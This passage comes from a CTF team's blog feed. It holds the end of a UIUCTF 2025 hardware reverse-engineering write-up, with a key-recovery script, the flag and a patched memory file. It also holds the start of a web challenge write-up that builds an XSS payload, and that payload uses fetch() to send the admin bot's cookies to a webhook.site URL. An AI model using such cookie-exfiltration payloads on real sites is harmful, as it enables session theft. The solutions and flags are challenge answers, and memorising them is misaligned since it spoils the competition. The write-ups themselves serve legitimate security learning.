</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">Verify sum: 0x</span><span style="color:#fc6a5d">{</span>char23<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">02x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> + 0x</span><span style="color:#fc6a5d">{</span>char24<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">02x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> = 0x</span><span style="color:#fc6a5d">{</span>char23 + char24<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">02x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> (Has to be 0x53)&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">Bytes 16-23: </span><span style="color:#fc6a5d">{</span>E_bytes.hex()<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> = &#39;</span><span style="color:#fc6a5d">{</span>E_bytes.decode(<span style="color:#fc6a5d">&#39;ascii&#39;</span>, errors=<span style="color:#fc6a5d">&#39;replace&#39;</span>)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;Bytes 24-27: </span><span style="color:#fc6a5d">{</span>F_bytes.hex()<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> = &#39;</span><span style="color:#fc6a5d">{</span>F_bytes.decode(<span style="color:#fc6a5d">&#39;ascii&#39;</span>, errors=<span style="color:#fc6a5d">&#39;replace&#39;</span>)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> E_bytes + F_bytes
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>result = find_key_bytes()
</span></span></code></pre></div><p><code>Bytes 16-23: 70736c3076657223 = 'psl0ver#'</code>
<code>Bytes 24-27: 30643030 = '0d00'</code></p>
<p><strong><code>flag = uiuctf{U_Uctf_m1psl0ver#0d00_abcdefghi}</code></strong></p>
<p>Now, if everything is correct, we should be able to patch our memory.mem file and see <code>\n===verification passed!===\n</code> printed in the output.</p>
<h2 id="patching-it-up">Patching it up</h2>
<p>Remember <code>data_mem.sv</code>?
In Verilog, the memory initialization function is defined as follows:</p>
<pre tabindex="0"><code>$readmemh(&#34;hex_memory_file.mem&#34;, memory_array, [start_address], [end_address])
</code></pre><p><code>start_address</code> is optional and undefined in our case, so memory starts at 0x0.</p>
<p>The firmware reads the candidate key starting at absolute address 0x00000008 (<code>unk_8</code> in the disassembly), and in <code>memory.mem</code> the <code>@00000000</code> block clearly shows those <code>ef bf bd</code> bytes starting at offset <code>0x08</code>.</p>
<p>Now let&rsquo;s ASCII-encode the flag and add a null terminator at the end, while keeping the rest unchanged:</p>
<pre tabindex="0"><code>//memory.mem
@00000000
28 09 00 00
00 00 00 00
75 69 75 63
74 66 7b 55
5f 55 63 74
66 5f 6d 31
70 73 6c 30
76 65 72 23
30 64 30 30
5f 61 62 63
64 65 66 67
68 69 7d 00
47 43 43 3a
20 28 47 4e
</code></pre><p><em>Make sure to keep the file name the same as well, the elf automatically takes <code>memory.mem</code> as input.</em></p>
<p><img src="/uiuctf2025/damaged-soc/screenshot-3.png" alt="shell"></p>
<p>Everything is back up and running!</p>
<p>Here is the final script I used during the CTF:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> typing <span style="color:#fc5fa3">import</span> Tuple
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># do a barrel roll</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">rol32</span>(v: <span style="color:#d0a8ff">int</span>, r: <span style="color:#d0a8ff">int</span>) -&gt; <span style="color:#d0a8ff">int</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> ((v &lt;&lt; r) &amp; <span style="color:#d0bf69">0xFFFFFFFF</span>) | (v &gt;&gt; (<span style="color:#d0bf69">32</span> - r))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">ror32</span>(v: <span style="color:#d0a8ff">int</span>, r: <span style="color:#d0a8ff">int</span>) -&gt; <span style="color:#d0a8ff">int</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> ((v &gt;&gt; r) | (v &lt;&lt; (<span style="color:#d0bf69">32</span> - r))) &amp; <span style="color:#d0bf69">0xFFFFFFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">rol64</span>(v: <span style="color:#d0a8ff">int</span>, r: <span style="color:#d0a8ff">int</span>) -&gt; <span style="color:#d0a8ff">int</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> ((v &lt;&lt; r) &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>) | (v &gt;&gt; (<span style="color:#d0bf69">64</span> - r))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">ror64</span>(v: <span style="color:#d0a8ff">int</span>, r: <span style="color:#d0a8ff">int</span>) -&gt; <span style="color:#d0a8ff">int</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> ((v &gt;&gt; r) | (v &lt;&lt; (<span style="color:#d0bf69">64</span> - r))) &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># cryptoninja block</span>
</span></span><span style="display:flex;"><span>CT_X = <span style="color:#d0bf69">0xC956B3009784E40F</span>
</span></span><span style="display:flex;"><span>CT_Y = <span style="color:#d0bf69">0xFFFFFFFF83C5A9D1</span> &amp; <span style="color:#d0bf69">0xFFFFFFFF</span>       <span style="color:#6c7986"># 32 bit</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">invert_block</span>() -&gt; Tuple[<span style="color:#d0a8ff">bytes</span>, <span style="color:#d0a8ff">bytes</span>]:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    x3 = CT_X ^ <span style="color:#d0bf69">0xFEDCBA9876543210</span>
</span></span><span style="display:flex;"><span>    y3 = (CT_Y ^ <span style="color:#d0bf69">0x13579BDF</span>) &amp; <span style="color:#d0bf69">0xFFFFFFFF</span>     <span style="color:#6c7986"># 32 bit</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    x3_low = x3 &amp; <span style="color:#d0bf69">0xFFFFFFFF</span>
</span></span><span style="display:flex;"><span>    y2 = x3_low ^ y3
</span></span><span style="display:flex;"><span>    x2 = x3 ^ (y2 &lt;&lt; <span style="color:#d0bf69">32</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    x1 = (x2 - <span style="color:#d0bf69">0x0123456789ABCDEF</span>) &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>
</span></span><span style="display:flex;"><span>    y1 = (y2 - <span style="color:#d0bf69">0xFFFFFFFF87654321</span>) &amp; <span style="color:#d0bf69">0xFFFFFFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    x0 = ror64(x1, <span style="color:#d0bf69">8</span>)
</span></span><span style="display:flex;"><span>    y0 = ror32(y1, <span style="color:#d0bf69">4</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    eight  = x0 ^ <span style="color:#d0bf69">0x1337C0DE12345678</span>          <span style="color:#6c7986"># 64 bit</span>
</span></span><span style="display:flex;"><span>    four   = y0 ^ <span style="color:#d0bf69">0x3EADBE3F</span>                  <span style="color:#6c7986"># 32 bit</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> eight.to_bytes(<span style="color:#d0bf69">8</span>, <span style="color:#fc6a5d">&#39;little&#39;</span>), four.to_bytes(<span style="color:#d0bf69">4</span>, <span style="color:#fc6a5d">&#39;little&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">build_flag</span>() -&gt; <span style="color:#d0a8ff">str</span>:
</span></span><span style="display:flex;"><span>    eight, four = invert_block()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    flag = (
</span></span><span style="display:flex;"><span>        <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;uiuctf{&#34;</span>          <span style="color:#6c7986"># prefix</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;U_Uctf_&#34;</span>          <span style="color:#6c7986"># xor</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;m1&#34;</span>               <span style="color:#6c7986"># dedicated check</span>
</span></span><span style="display:flex;"><span>        + eight             <span style="color:#6c7986"># bytes 16‑23</span>
</span></span><span style="display:flex;"><span>        + four              <span style="color:#6c7986"># bytes 24‑27</span>
</span></span><span style="display:flex;"><span>        + <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;_&#34;</span>              <span style="color:#6c7986"># offset 28</span>
</span></span><span style="display:flex;"><span>        + <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;abcdefghi&#34;</span>      <span style="color:#6c7986"># offset 29‑37</span>
</span></span><span style="display:flex;"><span>        + <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;}&#34;</span>              <span style="color:#6c7986"># closure</span>
</span></span><span style="display:flex;"><span>    )
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> flag.decode()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#verifica</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">verify</span>(flag: <span style="color:#d0a8ff">str</span>) -&gt; <span style="color:#d0a8ff">bool</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">assert</span> flag.startswith(<span style="color:#fc6a5d">&#34;uiuctf{&#34;</span>) and flag.endswith(<span style="color:#fc6a5d">&#34;}&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">assert</span> flag[<span style="color:#d0bf69">7</span>] == <span style="color:#fc6a5d">&#34;U&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">assert</span> flag[<span style="color:#d0bf69">8</span>] == <span style="color:#fc6a5d">&#34;_&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">assert</span> flag[<span style="color:#d0bf69">9</span>:<span style="color:#d0bf69">13</span>] == <span style="color:#fc6a5d">&#34;Uctf&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">assert</span> flag[<span style="color:#d0bf69">13</span>] == <span style="color:#fc6a5d">&#34;_&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">assert</span> flag[<span style="color:#d0bf69">14</span>:<span style="color:#d0bf69">16</span>] == <span style="color:#fc6a5d">&#34;m1&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">assert</span> (<span style="color:#d0a8ff">ord</span>(flag[<span style="color:#d0bf69">23</span>]) + <span style="color:#d0a8ff">ord</span>(flag[<span style="color:#d0bf69">24</span>])) == <span style="color:#d0bf69">0x53</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">assert</span> flag[<span style="color:#d0bf69">28</span>] == <span style="color:#fc6a5d">&#34;_&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">assert</span> flag[<span style="color:#d0bf69">29</span>:<span style="color:#d0bf69">38</span>] == <span style="color:#fc6a5d">&#34;abcdefghi&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">import</span> struct
</span></span><span style="display:flex;"><span>    key = flag.encode()
</span></span><span style="display:flex;"><span>    eight = <span style="color:#d0a8ff">int</span>.from_bytes(key[<span style="color:#d0bf69">16</span>:<span style="color:#d0bf69">24</span>], <span style="color:#fc6a5d">&#39;little&#39;</span>)
</span></span><span style="display:flex;"><span>    four  = <span style="color:#d0a8ff">int</span>.from_bytes(key[<span style="color:#d0bf69">24</span>:<span style="color:#d0bf69">28</span>], <span style="color:#fc6a5d">&#39;little&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    x = rol64((eight ^ <span style="color:#d0bf69">0x1337C0DE12345678</span>), <span style="color:#d0bf69">8</span>)
</span></span><span style="display:flex;"><span>    x = (x + <span style="color:#d0bf69">0x0123456789ABCDEF</span>) &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    y = rol32((four ^ <span style="color:#d0bf69">0x3EADBE3F</span>), <span style="color:#d0bf69">4</span>)
</span></span><span style="display:flex;"><span>    y = (y + <span style="color:#d0bf69">0xFFFFFFFF87654321</span>) &amp; <span style="color:#d0bf69">0xFFFFFFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    x ^= (y &lt;&lt; <span style="color:#d0bf69">32</span>)
</span></span><span style="display:flex;"><span>    y ^= x &amp; <span style="color:#d0bf69">0xFFFFFFFF</span>
</span></span><span style="display:flex;"><span>    x ^= <span style="color:#d0bf69">0xFEDCBA9876543210</span>
</span></span><span style="display:flex;"><span>    y ^= <span style="color:#d0bf69">0x13579BDF</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> x == CT_X and y == CT_Y
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#41a1c0">__name__</span> == <span style="color:#fc6a5d">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    flag = build_flag()
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;Flag:&#34;</span>, flag)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">assert</span> verify(flag), <span style="color:#fc6a5d">&#34;something went wrong!&#34;</span>
</span></span></code></pre></div><h2 id="trivia-and-extras">Trivia and extras</h2>
<p><strong>Fun fact:</strong> the flag format was actually changed due to this solve during the course of the competition, after an exchange I had with one of the moderators; it initially did not contain a <code>#</code>, the full regex was <code>uiuctf{[a-zA-Z0-9_&amp;]+}</code>, this made me double check and second guess the flag for quite a while before actually submitting it. No big deal though, it was fixed shortly after.</p>
<p><img src="/uiuctf2025/damaged-soc/screenshot-4.png" alt="discord_chat"></p>
<p>During our first approach to the challenge, <a href="https://theromanxpl0.it/members/simonedimaria/">@simonedimaria</a> managed to recompile the source files with debugging logs:</p>
<pre tabindex="0"><code>Interrupe Handler Address: 0000000008000040
---- Damaged region dump ----
mem[8] = ef
mem[9] = bf
mem[a] = bd
mem[b] = ef
mem[c] = bf
mem[d] = bd
mem[e] = ef
mem[f] = bf
mem[10] = bd
mem[11] = ef
mem[12] = bf
mem[13] = bd
mem[14] = ef
mem[15] = bf
mem[16] = bd
mem[17] = ef
mem[18] = bf
mem[19] = bd
mem[1a] = ef
mem[1b] = bf
mem[1c] = bd
mem[1d] = ef
mem[1e] = bf
mem[1f] = bd
mem[20] = ef
mem[21] = bf
mem[22] = bd
mem[23] = ef
mem[24] = bf
mem[25] = bd
mem[26] = ef
mem[27] = bf
mem[28] = bd
mem[29] = ef
mem[2a] = bf
mem[2b] = bd
mem[2c] = ef
mem[2d] = bf
mem[2e] = 7d
-----------------------------
PC=0x000000000000010c, inst=0x24190148, rs_data(t0)=0x0000000000000000, rt_data(i)=0x0000000000000000
writeback regnum = 29, data = 0000000000000d00
PC=0x0000000000000110, inst=0x03200009, rs_data(t0)=0x0000000000000000, rt_data(i)=0x0000000000000000
writeback regnum = 28, data = 0000000000000af0
PC=0x0000000000000114, inst=0x00000000, rs_data(t0)=0x0000000000000000, rt_data(i)=0x0000000000000000
writeback regnum = 31, data = 0000000000000d00
writeback regnum = 25, data = 0000000000000148
write addr: 0000000000000cf8, data: 0000000000000d00, type: 4
writeback regnum = 29, data = 0000000000000c90
writeback regnum =  2, data = 0000000000000000
...
</code></pre><p>Only to later realize that those were only <code>puts</code>-related logs, his contribution was nonetheless crucial to the final solution.</p>
]]></content></item><item><title>UIUCTF 25 - Ruler of the Universe</title><link>https://theromanxpl0.it/posts/2025/07/uiuctf-25-ruler-of-the-universe/</link><pubDate>Wed, 30 Jul 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/07/uiuctf-25-ruler-of-the-universe/</guid><description>&lt;p>&lt;em>With this ship I have the entire universe at my fingertips.&lt;/em>&lt;/p>
&lt;p>Hi everyone, this is the first and easiest in a series of four sci-fi-inspired cosmic-web challenges from uiuctf. I only solved the first three, while my teammate simonedimaria worked on the fourth one, so I will only be tackling those.&lt;/p>
&lt;p>First of all, let&amp;rsquo;s take a second to appreciate the homepage of the challenge.
&lt;img src="https://theromanxpl0.it/uiuctf2025/ruler-of-the-universe/screenshot-1.png" alt="Homepage">&lt;/p>
&lt;p>Straight out of last-century digital retrofuturism, System Shock or Neuromancer come to mind.&lt;/p></description><content type="html"><![CDATA[<p><em>With this ship I have the entire universe at my fingertips.</em></p>
<p>Hi everyone, this is the first and easiest in a series of four sci-fi-inspired cosmic-web challenges from uiuctf. I only solved the first three, while my teammate simonedimaria worked on the fourth one, so I will only be tackling those.</p>
<p>First of all, let&rsquo;s take a second to appreciate the homepage of the challenge.
<img src="/uiuctf2025/ruler-of-the-universe/screenshot-1.png" alt="Homepage"></p>
<p>Straight out of last-century digital retrofuturism, System Shock or Neuromancer come to mind.</p>
<h2 id="full-diagnostic-sweep-of-the-mainframe">Full diagnostic sweep of the mainframe</h2>
<p>There&rsquo;s an <em>Admin Bot</em> link at the top, which points us in the direction of XSS.
<img src="/uiuctf2025/ruler-of-the-universe/screenshot-2.png" alt="Admin-Bot"></p>
<p>That&rsquo;s cool and all, but what can we actually interact with? Let&rsquo;s open those ominous Astra Main Frame modules at the bottom:
<img src="/uiuctf2025/ruler-of-the-universe/screenshot-3.png" alt="Modules"></p>
<p>Looks like we can leave a message for the crew, and it will appear under <strong>Messages</strong> at the bottom. Hmm, looks suspicious, let&rsquo;s pull up the ship&rsquo;s source code:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ts" data-lang="ts"><span style="display:flex;"><span><span style="color:#6c7986">// module.tsx
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#fc5fa3">const</span> Module = ({
</span></span><span style="display:flex;"><span>  id,
</span></span><span style="display:flex;"><span>  crewMessage,
</span></span><span style="display:flex;"><span>}: {
</span></span><span style="display:flex;"><span>  id: <span style="color:#fc5fa3">number</span>;
</span></span><span style="display:flex;"><span>  crewMessage: <span style="color:#fc5fa3">string</span> | <span style="color:#fc5fa3">null</span> | <span style="color:#fc5fa3">undefined</span>;
</span></span><span style="display:flex;"><span>}) =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#6c7986">// ...
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  &lt;form class=<span style="color:#fc6a5d">&#34;mt-4&#34;</span> method=<span style="color:#fc6a5d">&#34;GET&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;label for=<span style="color:#fc6a5d">&#34;message&#34;</span> class=<span style="color:#fc6a5d">&#34;block text-sm mb-1&#34;</span>&gt;
</span></span><span style="display:flex;"><span>      Crew Message:
</span></span><span style="display:flex;"><span>    &lt;/label&gt;
</span></span><span style="display:flex;"><span>    &lt;input
</span></span><span style="display:flex;"><span>      id=<span style="color:#fc6a5d">&#34;message&#34;</span>
</span></span><span style="display:flex;"><span>      name=<span style="color:#fc6a5d">&#34;message&#34;</span>
</span></span><span style="display:flex;"><span>      type=<span style="color:#fc6a5d">&#34;text&#34;</span>
</span></span><span style="display:flex;"><span>      class=<span style="color:#fc6a5d">&#34;w-full border border-green-400 bg-black text-green-400 px-2 py-1 text-xs&#34;</span>
</span></span><span style="display:flex;"><span>      placeholder={
</span></span><span style="display:flex;"><span>        crewMessage
</span></span><span style="display:flex;"><span>          ? <span style="color:#fc6a5d">`Update your message: </span><span style="color:#fc6a5d">${</span>crewMessage<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">`</span>
</span></span><span style="display:flex;"><span>          : <span style="color:#fc6a5d">&#34;Enter a message for the crew&#34;</span>
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>    /&gt;
</span></span><span style="display:flex;"><span>  &lt;/form&gt;
</span></span><span style="display:flex;"><span>  <span style="color:#6c7986">// ...
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>};
</span></span><span style="display:flex;"><span>:contentReference[oaicite:<span style="color:#fc5fa3">2</span>]{index=<span style="color:#d0bf69">2</span>}
</span></span></code></pre></div><p><code>crewMessage</code> is taken directly from <code>index.tsx</code>&rsquo;s <code>const crewMessage = new URL(req.url).searchParams.get(&quot;message&quot;);</code> and interpolated into the <em>placeholder</em>.
Diving deeper into how all of this gets rendered onto the page:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ts" data-lang="ts"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> { escapeHTML } <span style="color:#fc5fa3">from</span> <span style="color:#fc6a5d">&#34;bun&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">export</span> <span style="color:#fc5fa3">function</span> render(element: <span style="color:#fc5fa3">any</span>): <span style="color:#fc5fa3">string</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">if</span> (<span style="color:#fc5fa3">typeof</span> element === <span style="color:#fc6a5d">&#34;string&#34;</span> || <span style="color:#fc5fa3">typeof</span> element === <span style="color:#fc6a5d">&#34;number&#34;</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> escapeHTML(element);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span><span style="color:#6c7986">//...
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">const</span> propString = props
</span></span><span style="display:flex;"><span>    ? <span style="color:#d0a8ff">Object</span>.entries(props)
</span></span><span style="display:flex;"><span>        .filter(([key]) =&gt; key !== <span style="color:#fc6a5d">&#34;children&#34;</span>)
</span></span><span style="display:flex;"><span>        .map(([key, value]) =&gt; {
</span></span><span style="display:flex;"><span>          <span style="color:#fc5fa3">if</span> (<span style="color:#fc5fa3">typeof</span> value === <span style="color:#fc6a5d">&#34;boolean&#34;</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">return</span> value ? key : <span style="color:#fc6a5d">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>          }
</span></span><span style="display:flex;"><span>          <span style="color:#6c7986">// Here is where double quotes are improperly escaped
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>          <span style="color:#fc5fa3">return</span> <span style="color:#fc6a5d">`</span><span style="color:#fc6a5d">${</span>key<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">=&#34;</span><span style="color:#fc6a5d">${</span><span style="color:#d0a8ff">String</span>(value).replace(<span style="color:#fc6a5d">&#39;&#34;&#39;</span>, <span style="color:#fc6a5d">&#34;&amp;quot;&#34;</span>)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;`</span>;
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>        .filter(<span style="color:#d0a8ff">Boolean</span>)
</span></span><span style="display:flex;"><span>        .join(<span style="color:#fc6a5d">&#34; &#34;</span>)
</span></span><span style="display:flex;"><span>    : <span style="color:#fc6a5d">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">const</span> openTag = propString ? <span style="color:#fc6a5d">`&lt;</span><span style="color:#fc6a5d">${</span><span style="color:#fc5fa3">type</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> </span><span style="color:#fc6a5d">${</span>propString<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&gt;`</span> : <span style="color:#fc6a5d">`&lt;</span><span style="color:#fc6a5d">${</span><span style="color:#fc5fa3">type</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&gt;`</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> <span style="color:#fc6a5d">`</span><span style="color:#fc6a5d">${</span>openTag<span style="color:#fc6a5d">}${</span>children<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&lt;/</span><span style="color:#fc6a5d">${</span><span style="color:#fc5fa3">type</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&gt;`</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The render function employs Bun&rsquo;s <code>escapeHTML</code>,  which makes the following replacements:</p>
<ul>
<li><code>&quot;</code> becomes <code>&quot;&amp;quot;&quot;</code></li>
<li><code>&amp;</code> becomes <code>&quot;&amp;amp;&quot;</code></li>
<li><code>'</code> becomes <code>&quot;&amp;#x27;&quot;</code></li>
<li><code>&lt;</code> becomes <code>&quot;&amp;lt;&quot;</code></li>
<li><code>&gt;</code> becomes <code>&quot;&amp;gt;&quot;</code></li>
</ul>
<p>however, it only does so for strings and numbers; for attributes, a much weaker substitution is in place:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ts" data-lang="ts"><span style="display:flex;"><span><span style="color:#fc5fa3">return</span> <span style="color:#fc6a5d">`</span><span style="color:#fc6a5d">${</span>key<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">=&#34;</span><span style="color:#fc6a5d">${</span><span style="color:#d0a8ff">String</span>(value).replace(<span style="color:#fc6a5d">&#39;&#34;&#39;</span>, <span style="color:#fc6a5d">&#34;&amp;quot;&#34;</span>)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;`</span>;
</span></span></code></pre></div><p>but <code>replace</code> only takes care of the first instance of the character in a string.</p>
<h2 id="initiating-the-breach-protocol">Initiating the breach protocol</h2>
<p>Knowing all this, and with a bit of trial and error, we can craft a working payload:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>crewMessage = <span style="color:#fc6a5d">&#34;&#34;</span> /&gt;&lt;img src=x onerror=<span style="color:#fc6a5d">&#34;alert(1)&#34;</span> x=<span style="color:#960050">&#34;</span>
</span></span></code></pre></div><p>During serialization:</p>
<ul>
<li>the first <code>&quot;</code> in <code>&quot;&quot;</code> becomes <code>&amp;quot;</code></li>
<li>the second <code>&quot;</code> closes the <code>input</code> attribute</li>
</ul>
<p>the final markup becomes:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>&lt;input <span style="color:#960050">…</span> placeholder=<span style="color:#fc6a5d">&#34;Update your message: &amp;quot;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">/&gt;</span>
</span></span><span style="display:flex;"><span>&lt;img src=x onerror=<span style="color:#fc6a5d">&#34;alert(1)&#34;</span> x=&gt;
</span></span></code></pre></div><p>Now it&rsquo;s only a matter of adapting it to our purposes:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#fc6a5d">&#34;&#34;</span> /&gt;&lt;img src=x onerror=<span style="color:#fc6a5d">&#34;fetch(\&#39;%s?c=\&#39;+encodeURIComponent(document.cookie))&#34;</span> x=<span style="color:#960050">&#34;</span>
</span></span></code></pre></div><p>Finally, we encode it into the full URL and send a POST request with the link to the Admin Bot to visit the page and retrieve the flag, which is in the bot&rsquo;s cookies, by forwarding it to our webhook:</p>
<pre tabindex="0"><code>https://inst-8be5f028661a5917-ruler-of-the-universe.chal.uiuc.tf/module/0?message=img%22%22%20%2F%3E%3Cimg%20src%3Dx%20onerror%3D%22fetch%28%27https%3A%2F%2Fwebhook.site%2F66ce23cb-d0e5-4bf5-9016-58351c7f0d51%3Fc%3D%27%2BencodeURIComponent%28document.cookie%29%29%22%20x%3D%22
